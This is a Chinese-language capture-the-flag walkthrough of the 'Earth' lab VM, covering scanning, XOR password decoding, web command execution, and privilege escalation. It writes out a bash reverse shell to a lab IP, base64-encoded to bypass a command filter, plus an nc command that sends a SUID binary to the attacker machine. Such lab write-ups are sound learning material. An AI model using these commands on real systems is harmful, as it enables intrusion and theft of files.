搭建靶机直接拖进来就行
1.扫描靶机IP
arp-scan -l
2.信息收集
nmap -sS -A -T4 192.168.47.132
得到两个DNS;
在443端口处会让我们加https
dirb https://earth.local/
dirb https://terratest.earth.local/
#页面下有三行数值
37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d403714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b452402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a访问https://terratest.earth.local/robots.txt
在robots.txt中最后有一个/testingnotes.*;这可能是txt为后缀
意思是
获得账号用户名:terra
密码应该就是那三串;使用XOR加密
访问testdata.txt
意思是
#密钥
According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.3.漏洞利用
写一个python脚本
import binasciientry_str = '2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a'
pass_txt = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."
pass_txt_16 = binascii.b2a_hex(pass_txt.encode(encoding="utf-8")).decode('utf-8').replace("b'",'')
result = hex(int(entry_str,16)^int(pass_txt_16,16)).replace('0x','')
datatext = binascii.unhexlify(result).decode('utf-8')
print(datatext)获得key
仔细看不难发现都是围着这个来循环的
earthclimatechangebad4humans
我们去登录吧
账号:
terra
密码:
earthclimatechangebad4humans这里是一个命令执行界面
find / -name "*flag*.txt"
cat /var/earth_web/user_flag.txt
获取第一个flag
4.提权
反弹shell
对命令进行了过滤
bash -i >& /dev/tcp/192.168.47.130/8888 0>&1
进行base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ3LjEzMC84ODg4IDA+JjE=
结合解码命令
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ3LjEzMC84ODg4IDA+JjE= | base64 -d | bash成功弹到
先查看一下有权限的文件
find / -perm -u=s -type f 2>/dev/null
strings /usr/bin/reset_root
看到一条信息：大概意思是修改root密码为Earth
尝试执行reset_root
reset_root提示触发器不存在
由于靶机没有ltrace，所以将/usr/bin/reset_root传到本地分析
kali攻击机监听2222端口，并将接收到的内容重定向到文件reset_root/
nc -lvvp 2222 > reset_root靶机上将/usr/bin/reset_root文件的内容通过nc重定向到攻击机的2222端口
nc 192.168.131.128 2222 < /usr/bin/reset_root
可以看出会检查触发器是否存在为条件，这里就是/dev/shm/kHgTFI5G、/dev/shm/Zw7bV9U5、/tmp/kcM0Wewe这3个文件夹都需要存在
那么在靶机上创建这三个文件夹，再执行reset_root，成功重置root密码为Earth
touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe
这里可以登录拿到flag
